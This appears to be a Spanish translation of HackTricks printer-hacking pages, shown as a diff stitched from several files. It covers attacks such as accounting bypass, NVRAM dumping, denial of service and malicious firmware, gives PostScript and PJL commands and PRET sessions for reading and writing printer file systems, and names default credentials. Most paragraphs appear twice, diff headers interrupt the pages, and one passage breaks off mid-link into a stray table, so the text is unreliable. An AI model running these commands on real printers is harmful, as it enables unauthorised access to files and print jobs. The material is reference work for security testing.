Existen varias formas posibles de restablecer un dispositivo a los valores predeterminados de fábrica, y esta es una funcionalidad crítica de seguridad ya que sobrescribe los mecanismos de protección como las contraseñas establecidas por el usuario. [**Aprende más aquí.**](factory-defaults.md)
Hay varias formas posibles de **restablecer** un dispositivo a los valores de fábrica, y esta es una funcionalidad crítica de seguridad ya que **sobrescribe mecanismos de protección** como contraseñas establecidas por el usuario.\
[**Aprende más aquí.**](factory-defaults.md)
### **Bypass de contabilidad**
### **Evasión de Contabilidad**
Es posible que pueda suplantar a usuarios existentes o no existentes para imprimir páginas utilizando sus cuentas o manipular el contador de hardware o software para poder imprimir más páginas. [**Aprende cómo hacerlo aquí.**](accounting-bypass.md)
Podrías ser capaz de **suplantar a usuarios existentes o inexistentes** para imprimir páginas usando sus cuentas o **manipular** el **contador** de hardware o software para poder imprimir más páginas.\
[**Aprende cómo hacerlo aquí.**](accounting-bypass.md)
### **Escáner y fax**
### **Escáner y Fax**
Accediendo a las funcionalidades de escáner o fax, es posible que pueda acceder a otras funcionalidades, pero todo esto depende del proveedor. [**Aprende más aquí.**](scanner-and-fax.md)
Accediendo a las funcionalidades de Escáner o Fax podrías ser capaz de acceder a otras funcionalidades, pero todo esto depende del proveedor.\
[**Aprende más aquí.**](scanner-and-fax.md)
## Acceso a trabajos de impresión
## **Acceso a Trabajos de Impresión**
### **Retención de trabajos de impresión**
### **Retención de Trabajos de Impresión**
Los trabajos se pueden retener en la memoria y se pueden imprimir nuevamente en un momento posterior desde el panel de control, o utilizando PostScript, incluso puede acceder de forma remota a todos los trabajos que se van a imprimir, descargarlos e imprimirlos. [**Aprende más aquí.**](print-job-retention.md)
Los trabajos pueden ser **retenidos en memoria** y ser **impresos** nuevamente en un **momento posterior desde el panel de control**, o usando **PostScript** incluso puedes **acceder de forma remota a todos los trabajos que van a ser impresos, descargarlos** e imprimirlos.\
[**Aprende más aquí.**](print-job-retention.md)
### **Manipulación de trabajos de impresión**
### **Manipulación de Trabajos de Impresión**
Puede agregar nuevo contenido a las páginas que se imprimen, cambiar todo el contenido que se va a imprimir o incluso reemplazar solo ciertas letras o palabras. [**Aprende cómo hacerlo aquí.**](print-job-manipulation.md)
Puedes **añadir nuevo contenido** a las páginas que se imprimen, **cambiar todo el contenido** que va a ser impreso o incluso **reemplazar solo ciertas letras o palabras.**\
[**Aprende cómo hacerlo aquí.**](print-job-manipulation.md)
## **Divulgación de información**
## **Divulgación de Información**
### **Acceso a la memoria**
### **Acceso a Memoria**
Es posible que pueda volcar la memoria NVRAM y extraer información confidencial (como contraseñas) de allí. [**Lee cómo hacerlo aquí.**](memory-access.md)
Podrías ser capaz de **volcar** la memoria **NVRAM** y **extraer información sensible** (como contraseñas) de allí.\
[**Lee cómo hacerlo aquí.**](memory-access.md)
### **Acceso al sistema de archivos**
### **Acceso al Sistema de Archivos**
Es posible que pueda acceder al sistema de archivos abusando de PJL o PostScript. [**Lee cómo hacerlo aquí.**](file-system-access.md)
Podrías ser capaz de **acceder al sistema de archivos** abusando de **PJL** o **PostScript**.\
[**Lee cómo hacerlo aquí.**](file-system-access.md)
### **Divulgación de credenciales/fuerza bruta**
### **Divulgación de Credenciales/Fuerza Bruta**
Es posible que pueda revelar la contraseña que se está utilizando abusando de SNMP o de la configuración LDAP o podría intentar forzar PJL o PostScript. [**Lee cómo hacerlo aquí.**](credentials-disclosure-brute-force.md)
Podrías ser capaz de **divulgar la contraseña** que se está usando abusando de **SNMP** o la configuración de **LDAP** o podrías intentar **fuerza bruta en PJL** o **PostScript**.\
[**Lee cómo hacerlo aquí**](credentials-disclosure-brute-force.md)**.**
## **Ejecución de código**
## **Ejecución de Código**
### **Desbordamientos de búfer**
### **Desbordamientos de Búfer**
Ya se han encontrado varios desbordamientos de búfer en la entrada PJL y en el demonio LPD, y podría haber más. [**Lee esto para obtener más información.**](buffer-overflows.md)
Varios **desbordamientos de búfer** han sido **encontrados** ya en la entrada de **PJL** y en el **daemon LPD**, y podría haber más.\
[**Lee esto para más información.**](buffer-overflows.md)
### Actualizaciones de firmware
### Actualizaciones de Firmware
Es posible que pueda hacer que la impresora actualice el controlador a uno malicioso especialmente diseñado por usted. [**Lee esto para obtener más información.**](firmware-updates.md)
Podrías ser capaz de **hacer que la impresora actualice el controlador a uno malicioso** especialmente creado por ti.\
[**Lee esto para más información.**](firmware-updates.md)
### **Paquetes de software**
### **Paquetes de Software**
Los proveedores de impresoras han comenzado a introducir la posibilidad de instalar software personalizado en sus dispositivos, pero la información no está disponible públicamente. La función de escribir software personalizado que se ejecuta en impresoras estaba destinada y está reservada para revendedores y contratistas. [**Lee más sobre esto aquí.**](software-packages.md)
Los fabricantes de impresoras han comenzado a introducir la **posibilidad de instalar software personalizado en sus dispositivos** pero la información no está disponible públicamente. La característica de escribir software personalizado que se ejecuta en impresoras fue intencionada y está reservada para revendedores y contratistas.\
[**Lee más sobre esto aquí.**](software-packages.md)
## **Denegación de servicio**
## **Denegación de Servicio**
### **Canal de transmisión**
### **Canal de Transmisión**
Ocupar todas las conexiones y aumentar el tiempo de espera del servidor podría llevar a un DoS. [**Aprende más sobre esto aquí.**](transmission-channel.md)
Ocupar todas las **conexiones** e **incrementar** el **tiempo de espera** del servidor podría llevar a un DoS.\
[**Aprende más sobre esto aquí.**](transmission-channel.md)
### **Procesamiento de documentos**
### **Procesamiento de Documentos**
Puede usar PostScript y PJL para realizar bucles infinitos, redefinir comandos para evitar cualquier impresión, apagar cualquier funcionalidad de impresión o incluso poner la impresora en modo sin conexión. [**Aprende más sobre esto aquí.**](document-processing.md)
Puedes usar **PostScript** y **PJL** para realizar **bucles infinitos**, **redefinir comandos** para evitar cualquier impresión, **apagar** cualquier funcionalidad de impresión o incluso **poner la impresora en modo fuera de línea**.\
[**Aprende más sobre esto aquí.**](document-processing.md)
### **Daño físico**
### **Daño Físico**
Uno podría abusar de PJL o PostScript para escribir en la NVRAM cientos de miles de veces con el objetivo de romper el chip o al menos hacer que los parámetros se congelen en los valores predeterminados de fábrica. [**Aprende más sobre esto aquí.**](physical-damage.md)
Uno podría **abusar de PJL** o **PostScript** para **escribir** en la **NVRAM** cientos de miles de veces con el objetivo de **romper el chip** o al menos hacer que los **parámetros se congelen** en los valores predeterminados de fábrica.\
[**Aprende más sobre esto aquí.**](physical-damage.md)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFT exclusivos**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
</details>

View file

@ -1,25 +1,23 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **PostScript**
Recupera información sensible como archivos de configuración o trabajos de impresión almacenados, RCE escribiendo archivos (como editar scripts rc o reemplazar archivos binarios). Se definen constructos de lenguaje legítimos para **PostScript** y **PJL** para **acceder al sistema de archivos**.
Recupera información sensible como archivos de configuración o trabajos de impresión almacenados, RCE escribiendo archivos (como editar scripts rc o reemplazar archivos binarios). Se definen construcciones de lenguaje legítimas para **PostScript** y **PJL** para **acceder al sistema de archivos**.
Accede al sistema de archivos con PostScript (ten en cuenta que podría estar limitado a acciones inofensivas):
Accede al sistema de archivos con PostScript (nota que podría estar en un entorno aislado limitando a acciones inofensivas):
```bash
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
@ -39,7 +37,7 @@ Accede al sistema de archivos con PostScript (ten en cuenta que podría estar li
> outfile (Hello World!) writestring
> outfile closefile
```
Puedes utilizar los comandos de [PRET](https://github.com/RUB-NDS/PRET): `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` y `df`.
Puede utilizar comandos de [PRET](https://github.com/RUB-NDS/PRET): `ls`, `get`, `put`, `append`, `delete`, `rename`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` y `df`:
```
./pret.py -q printer ps
Connection to printer established
@ -55,20 +53,6 @@ d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
```
## PJL
PJL (Printer Job Language) es un lenguaje de control de impresoras que se utiliza para enviar comandos a la impresora. Los comandos PJL se envían antes de que se envíe el trabajo de impresión y se utilizan para configurar la impresora y controlar el trabajo de impresión.
Algunos comandos PJL útiles son:
- `@PJL INFO CONFIG` - Muestra la configuración actual de la impresora.
- `@PJL JOB PASSWORD = "password"` - Establece una contraseña para el trabajo de impresión.
- `@PJL FSUPLOAD` - Carga un archivo en el sistema de archivos de la impresora.
- `@PJL FSINFO` - Muestra información sobre el sistema de archivos de la impresora.
- `@PJL DIRLIST` - Muestra una lista de archivos en el sistema de archivos de la impresora.
Para utilizar los comandos PJL, se puede enviar un archivo de impresión que contenga los comandos PJL necesarios. También se puede utilizar una herramienta como `netcat` para enviar los comandos PJL directamente a la impresora.
Es importante tener en cuenta que algunos comandos PJL pueden ser peligrosos y permitir el acceso no autorizado al sistema de archivos de la impresora. Por lo tanto, es importante asegurarse de que la impresora esté configurada de manera segura y de que se utilicen contraseñas fuertes para proteger los trabajos de impresión.
```
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
@ -86,9 +70,9 @@ Es importante tener en cuenta que algunos comandos PJL pueden ser peligrosos y p
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
```
De todas formas, acceder a archivos con PJL no es compatible con muchos impresoras.
De todos modos, el acceso a archivos con PJL no es compatible con muchas impresoras.
Puedes utilizar los comandos de [PRET](https://github.com/RUB-NDS/PRET): `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` y `df`.
Puede utilizar comandos de [PRET](https://github.com/RUB-NDS/PRET): `ls`, `get`, `put`, `append`, `delete`, `find`, `mirror`, `touch`, `mkdir`, `cd`, `pwd`, `chvol`, `traversal`, `format`, `fuzz` y `df`:
```
./pret.py -q printer pjl
Connection to printer established
@ -105,4 +89,18 @@ d - tmp
d - webServer
d - xps
```
Aprende más sobre posibles formas de evitar el sandboxing utilizando limitaciones de PostScript y PJL en [http://hacking-printers.net/wiki/index.php/File\_system\_access](http://hacking-printers.net/wiki/index.php/File\_system\_access).
**Aprende más sobre posibles formas de evadir sandbox utilizando limitaciones de PostScript y PJL en** [**http://hacking-printers.net/wiki/index.php/File\_system\_access**](http://hacking-printers.net/wiki/index.php/File\_system\_access)
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,36 +1,102 @@
Los peligros de las actualizaciones de firmware maliciosas son bien conocidos y han sido discutidos tempranamente por [\[1\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-1) y [\[2\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-2). A diferencia de otros dispositivos en red, sin embargo, **es común que las impresoras implementen actualizaciones de firmware como trabajos de impresión ordinarios**. Esto abre una amplia puerta de entrada para los atacantes porque el acceso a la funcionalidad de impresión suele ser un obstáculo bajo. Solo se puede especular sobre la motivación de tales decisiones de diseño inseguras, pero parece lógico que las razones históricas jueguen un papel: las impresoras solían estar conectadas por cable paralelo o USB. Sin conectividad de red, la seguridad era menos importante y sin un servidor web protegido por contraseña o una funcionalidad similar, el canal de impresión era la única forma de enviar datos al dispositivo.
Se han demostrado ataques de modificación de firmware contra impresoras de red por [\[3\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-cui2011print-3) para dispositivos HP, por [\[4\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-j
| bin, squashfs | 79 | imagen squashfs | |
| bin, kmmfp | 41 | u-boot legacy uImage | |
| efi, kmpanel | 13 | formato de imagen propietario | |
| Konica Minolta | bin | 38 | archivo binario desconocido, archivo adicional de suma de comprobación |
| ps | 20 | PostScript \(título: Módulos de carga suave de la impresora\) | |
| ftp, prn | 11 | @PJL ENTER LANGUAGE=FIRMUPDATE | |
| upg | 1 | @PJL ENTER LANGUAGE=UPGRADE | |
**¿Cómo probar este ataque?**
La seguridad de la firma de código se basa en mantener la clave privada como un secreto comercial a largo plazo. Sin embargo, todavía hay impresoras en el mercado que son potencialmente vulnerables a firmware malicioso, ya sea porque aún no se han actualizado o porque los algoritmos de suma de comprobación propietarios se venden como esquemas de firma digital criptográficamente seguros. Ciertamente, hay que señalar que analizar el firmware puede ser difícil si los proveedores no documentan sus formatos de firmware y rutinas de actualización. Por lo general, esto requiere ingeniería inversa. Por lo tanto, probar la viabilidad de los ataques de modificación de firmware no es trivial. En una prueba simple, se puede **cambiar un solo bit** y comprobar si el firmware modificado sigue siendo aceptado por el dispositivo de impresora. Si no es así, la impresora verifica una suma de comprobación o una firma digital. Encontrar la diferencia no siempre es fácil y escribir firmware malicioso \(con una suma de comprobación correcta\) puede ser un proyecto que consume mucho tiempo.
Otros escenarios de ataque incluyen:
* Incluso si el firmware está firmado, se puede volver a una cierta versión de firmware \(firmada\) que tiene debilidades de seguridad conocidas.
* Incluso si el firmware está firmado, a veces se puede montar para obtener más información \(especialmente el firmware de Konica Minolta es fácilmente montable\).
* El hecho de que el firmware esté firmado no significa que sea seguro. Usando binwalk/grep, etc., se pueden encontrar componentes con vulnerabilidades conocidas como [CVE-2015-7547](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-7547).
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Los peligros de las actualizaciones de firmware maliciosas son bien conocidos y se han discutido anteriormente por [\[1\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-1) y [\[2\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-2). A diferencia de otros dispositivos en red, **es común que las impresoras implementen actualizaciones de firmware como trabajos de impresión ordinarios**. Esto abre una amplia puerta para los atacantes porque el acceso a la funcionalidad de impresión suele ser un obstáculo bajo. Solo se puede especular sobre la motivación de tales decisiones de diseño inseguras, pero parece lógico que razones históricas jueguen un papel: las impresoras solían estar conectadas por cable paralelo o USB. Sin conectividad de red, la seguridad era menos importante y sin un servidor web protegido por contraseña o funcionalidades similares, el canal de impresión era la única forma de enviar datos al dispositivo.
Los ataques de modificación de firmware contra impresoras de red han sido demostrados por [\[3\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-cui2011print-3) para dispositivos HP, por [\[4\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-jordon2014wrestling-4) para la serie Canon PIXMA y por [\[5\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-heiland2011patched-5) y [\[6\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-weidenbach2016pwn-6) para varios modelos de Xerox. Como contramedida, los fabricantes de impresoras comenzaron a firmar digitalmente su firmware [\[7\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-hp2012rfu-7).
## Fabricantes
Para dar una visión general de los procedimientos de implementación de firmware, se han descargado y categorizado sistemáticamente 1,400 archivos de firmware de los 10 principales fabricantes de impresoras por [\[8\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-8). Los resultados son los siguientes.
### HP
El firmware se puede descargar desde [support.hp.com](http://support.hp.com/) o directamente desde [ftp.hp.com](ftp://ftp.hp.com/pub/networking/software/pfirmware/) vía FTP. Se pueden obtener 419 archivos en el formato tradicional de actualización de firmware remoto de HP \(`.rfu`\) y 206 binarios más nuevos de HP FutureSmart \(`.bdl`\). Los archivos `.rfu` contienen comandos PJL propietarios como `@PJL UPGRADE SIZE=…`, indicando que las actualizaciones de firmware se implementan como trabajos de impresión normales. Esto ha sido demostrado por [\[3\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-cui2011print-3) y causó que HP firmara digitalmente todo su firmware de impresora desde marzo de 2012 [\[7\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-hp2012rfu-7).
### Canon
El firmware está disponible en [www.canon.com/support](http://www.canon.com/support/). Sin embargo, Canon requiere un número de serie válido del dispositivo para descargar cualquier firmware. Según [\[4\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-jordon2014wrestling-4), quienes pudieron modificar el firmware para la serie Canon PIXMA, no hay firma \(la forma correcta de hacerlo\) pero sí tiene un cifrado muy débil. Según la correspondencia por correo electrónico con un representante de soporte técnico de Canon, el firmware tiene que estar firmado digitalmente por Canon para que sea aceptado por la impresora.
### Epson
El firmware se puede descargar desde [epson.com](http://epson.com/) y vía FTP desde [download.epson-europe.com](ftp://download.epson-europe.com/). Los archivos vienen como archivos autoextraíbles WinZip `.exe` y se pueden desempaquetar usando unp[\[9\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-9). Los archivos `.efu` contenidos se pueden analizar usando Binwalk[\[10\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-10) que extrae el firmware real. Se pueden obtener 49 archivos `.rcx` de formato desconocido \(SEIKO EPSON EpsonNet Form\) y nueve archivos `.prn` que contienen comandos PJL \(`@PJL ENTER LANGUAGE=DOWNLOAD`\). Epson no ha publicado ninguna información sobre mecanismos de protección. El firmware lanzado antes de 2016 no aplicaba la firma de código y podía ser manipulado como se muestra en [\[11\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-11). Ellos creen que enormes cantidades de dispositivos producidos desde 1999 \[…\] podrían ser vulnerables.
### Dell
El firmware se puede obtener desde [downloads.dell.com](http://downloads.dell.com/) y desde [ftp.us.dell.com/printer](ftp://ftp.us.dell.com/printer). Los archivos se pueden desempaquetar usando unp y los archivos `.zip` incluidos se pueden extraer con una variante de unzip. Dell no produce dispositivos de impresión, sino que cambia la marca de los productos de otros fabricantes. Por lo tanto, se encontró una amplia variedad de archivos de firmware, incluyendo 18 archivos `.hd` que contienen `@PJL FIRMWARE=…`, 25 archivos `.prn` que contienen `@PJL ENTER LANGUAGE=DOWNLOAD` y 30 archivos `.fls`/`.fly` que contienen `@PJL LPROGRAMRIP`. En cuanto a mecanismos de protección, Dell no ha publicado ninguna información disponible públicamente.
### Brother
El firmware no se puede descargar fácilmente. En su lugar, se debe ejecutar un binario de Windows que verifica las impresoras disponibles y solicita enlaces de descarga para el firmware más reciente desde un servicio web. Adivinando los parámetros correctos, se pueden obtener los enlaces para 98 archivos. Los archivos de firmware no necesitan ser desempaquetados ya que ya vienen en formato crudo. 79 archivos tienen la extensión `.djf` y contienen `@PJL EXECUTE BRDOWNLOAD`, mientras que 9 archivos `.blf` contienen `@PJL ENTER LANGUAGE=PCL`. Brother no ha publicado ninguna información disponible públicamente sobre mecanismos de protección.
### Lexmark
El firmware está disponible en [support.lexmark.com](http://support.lexmark.com/) y se puede desempaquetar usando unp. Se pudieron obtener 63 archivos `fls` que contienen el encabezado PJL `@PJL LPROGRAMRIP` para instalar el firmware. El libro blanco de seguridad de Lexmark afirma que los paquetes deben estar cifrados con un algoritmo de cifrado simétrico a través de una clave que solo es conocida por Lexmark y está incrustada de forma segura en todos los dispositivos. Sin embargo, la medida de seguridad más fuerte proviene de requerir que todos los paquetes de firmware deben incluir múltiples firmas digitales RSA de 2048 bits de Lexmark. Si estas firmas no son válidas \[...\] el firmware se descarta [\[12\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-12).
### Samsung
El firmware se puede descargar desde [www.samsung.com/us/support/download](http://www.samsung.com/us/support/download). Los archivos recuperados vienen ya sea como archivos zip o ejecutables de Windows que se pueden ejecutar en wine y desempaquetar más adelante usando unp. De esta manera, se pudieron obtener 33 archivos `.hd` que comienzan con `@PJL FIRMWARE` y archivos `.prn` asociados que contienen `@PJL DEFAULT SWUPGRADE=ON`. Samsung no ha publicado ninguna información disponible públicamente sobre mecanismos de protección.
### Xerox
El firmware está disponible públicamente en [www.support.xerox.com](http://www.support.xerox.com/). Los archivos descargados vienen en formato zip y se pueden desempaquetar usando unzip. Los archivos de firmware están en diferentes formatos: 16 archivos `.hd` que incluyen `@PJL FIRMWARE=…`, 36 archivos PostScript para dispositivos más antiguos y 35 archivos `.dlm` que es el formato utilizado actualmente por Xerox e incluye firmas digitales. Sin embargo, se encontró un defecto en el proceso de implementación por [\[5\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-heiland2011patched-5) y extendido por [\[6\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-weidenbach2016pwn-6), lo que lleva a la ejecución remota de código: la clave privada y la herramienta utilizada para la firma de código estaban contenidas en el propio firmware.
### Ricoh
El Centro de Descarga de Firmware en [support.ricoh.com](https://support.ricoh.com/) no está abierto al público en general. Afortunadamente, la web contiene enlaces directos a un par de páginas de descarga de controladores/firmware, por lo que se pueden obtener 31 archivos de firmware utilizando una simple búsqueda en Google \(`site:support.ricoh.com firmware`\). Los archivos se pueden desempaquetar usando unp. 14 archivos `.bin` contienen `@PJL RSYSTEMUPDATE SIZE=…` mientras que 15 archivos `.brn` están asociados con un `settings.ini`, incluyendo `@PJL FWDOWNLOAD` y `USERID=sysadm, PASSWORD=sysadm`. Ricoh no proporciona ninguna información actualizada sobre mecanismos de protección. En un libro blanco que data de 2007, Ricoh afirma que solo los técnicos de servicio tienen una contraseña y una cuenta dedicada para realizar actualizaciones de firmware [\[13\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-13).
